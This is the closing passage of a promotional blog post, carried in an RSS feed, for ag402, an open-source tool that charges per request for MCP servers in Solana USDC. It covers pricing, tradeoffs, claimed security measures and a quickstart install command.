&lt;td&gt;$0.01&lt;/td&gt;
&lt;td&gt;$30/mo&lt;/td&gt;
&lt;td&gt;$150/mo&lt;/td&gt;
&lt;td&gt;$300/mo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$0.02&lt;/td&gt;
&lt;td&gt;$60/mo&lt;/td&gt;
&lt;td&gt;$300/mo&lt;/td&gt;
&lt;td&gt;$600/mo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;$0.05&lt;/td&gt;
&lt;td&gt;$150/mo&lt;/td&gt;
&lt;td&gt;$750/mo&lt;/td&gt;
&lt;td&gt;$1,500/mo&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Non-custodial — USDC goes directly to your Solana address. Only fee: ~$0.00025 network fee.&lt;/p&gt;




&lt;h2&gt;
  
  
  When NOT to Use This
&lt;/h2&gt;

&lt;p&gt;Be honest about the tradeoffs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Your users don't have crypto wallets&lt;/strong&gt;: ag402 requires buyers to hold Solana USDC. If your audience is non-crypto developers, this is a barrier. (The prepaid system reduces but doesn't eliminate this.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Solana network outages&lt;/strong&gt;: Solana has had downtime events. Standard payments depend on network availability. (Prepaid mode works offline since it's HMAC-based.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regulatory uncertainty&lt;/strong&gt;: USDC is a regulated stablecoin, but crypto payment rules vary by jurisdiction.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You need complex billing&lt;/strong&gt;: Subscriptions, usage tiers, invoices — ag402 handles simple per-request pricing. For complex billing, you may still need Stripe alongside.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Security
&lt;/h2&gt;

&lt;p&gt;Real money means real security:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;4 internal security reviews&lt;/strong&gt; · 24 issues found, 24 fixed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;775+ tests&lt;/strong&gt; · 90%+ coverage&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;6-layer budget protection&lt;/strong&gt; · per-tx cap ($5), rate limit, daily cap ($10), circuit breaker, auto-rollback, key redaction&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Non-custodial&lt;/strong&gt; · private keys never leave your machine&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Zero telemetry&lt;/strong&gt; · no tracking, no analytics&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;MIT licensed → &lt;a href="https://github.com/AetherCore-Dev/ag402" rel="noopener noreferrer"&gt;audit the source&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Get Started
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;ag402-core &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ag402 init &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ag402 serve &lt;span class="nt"&gt;--target&lt;/span&gt; http://your-mcp:3000 &lt;span class="nt"&gt;--price&lt;/span&gt; 0.02 &lt;span class="nt"&gt;--address&lt;/span&gt; &amp;lt;Addr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;→ &lt;a href="https://github.com/AetherCore-Dev/ag402" rel="noopener noreferrer"&gt;GitHub ⭐&lt;/a&gt; · &lt;a href="https://github.com/AetherCore-Dev/token-rugcheck" rel="noopener noreferrer"&gt;Live on mainnet&lt;/a&gt; · &lt;a href="https://colab.research.google.com/github/AetherCore-Dev/ag402/blob/main/examples/ag402_quickstart.ipynb" rel="noopener noreferrer"&gt;Colab demo&lt;/a&gt; · &lt;a href="https://x.com/AetherCoreDev" rel="noopener noreferrer"&gt;@AetherCoreDev&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Open source (MIT). Built on &lt;a href="https://github.com/coinbase/x402" rel="noopener noreferrer"&gt;Coinbase x402&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mcp</category>
      <category>ai</category>
      <category>payments</category>
      <category>solana</category>
    </item>
  </channel>
</rss>
